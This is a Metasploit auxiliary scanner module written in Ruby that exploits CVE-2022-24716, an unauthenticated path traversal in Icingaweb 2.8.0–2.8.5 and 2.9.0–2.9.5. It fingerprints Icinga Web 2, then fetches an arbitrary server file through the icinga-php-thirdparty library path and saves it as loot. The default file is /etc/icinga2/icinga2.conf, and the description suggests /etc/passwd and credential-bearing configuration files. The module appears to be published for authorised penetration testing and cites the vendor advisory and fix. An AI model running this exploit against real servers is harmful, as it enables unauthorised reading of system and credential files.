##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Icingaweb Directory Traversal in Static Library File Requests',
        'Description' => %q{
          Icingaweb versions from 2.9.0 to 2.9.5 inclusive, and 2.8.0 to 2.8.5 inclusive suffer from an
          unauthenticated directory traversal vulnerability. The vulnerability is triggered
          through the icinga-php-thirdparty library, which allows unauthenticated users
          to retrieve arbitrary files from the targets filesystem via a GET request to
          /lib/icinga/icinga-php-thirdparty/<absolute path to target file on disk> as the user
          running the Icingaweb server, which will typically be the www-data user.

          This can then be used to retrieve sensitive configuration information from the target
          such as the configuration of various services, which may reveal sensitive login
          or configuration information, the /etc/passwd file to get a list of valid usernames
          for password guessing attacks, or other sensitive files which may exist as part of
          additional functionality available on the target server.

          This module was tested against Icingaweb 2.9.5 running on Docker.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Jacob Ebben', # EDB
          'Thomas Chauchefoin' # initial POC and discovery
        ],
        'References' => [
          ['EDB', '51329'],
          ['URL', 'https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/'],
          ['URL', 'https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw'],
          ['URL', 'https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d'],
          ['CVE', '2022-24716'],
        ],
        'Targets' => [
          ['Icingaweb', {}],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2022-05-09',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the Icinga Application', '/']),
        OptString.new('FILE', [true, 'File to retrieve', '/etc/icinga2/icinga2.conf']) # https://icinga.com/docs/icinga-2/latest/doc/04-configuration/#configuration-overview
      ]
    )
  end

  def check_host(_ip)
    res = send_request_cgi!(
      'uri' => normalize_uri(target_uri.path)
    )
    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Page didn't load correctly (response code: #{res.code}), check TARGETURI/port?") unless res.code == 200
    return Exploit::CheckCode::Unknown("#{peer} - Page doesn't have a body, check TARGETURI/port?") if res.body.nil?
    return Exploit::CheckCode::Detected("#{peer} - Icinga Web 2 found, unable to determine version.") if res.body.include?('<meta name="application-name" content="Icinga Web 2">')

    return Exploit::CheckCode::Safe("#{peer} - Web server found, but couldn't detect Icinga")
  end

  def run_host(ip)
    vprint_status('Attempting to retrieve file')
    res = send_request_cgi!(
      'uri' => normalize_uri(target_uri.path, 'lib', 'icinga', 'icinga-php-thirdparty', datastore['FILE'])
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly. Most likely file doesn't exist (response code: #{res.code})") unless res.code == 200
    fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly, no body found") if res.body.nil?
    if !res.body.empty?
      print_good(res.body)
      loot_path = store_loot('icinga file', 'text/plain', ip, res.body, datastore['FILE'])
      print_good("#{datastore['FILE']} saved to #{loot_path}")
    else
      print_error('Response has 0 size.')
    end
  end
end